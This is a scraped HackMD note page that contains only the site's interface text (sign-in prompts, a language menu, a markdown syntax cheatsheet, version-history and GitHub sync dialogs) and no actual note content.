    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully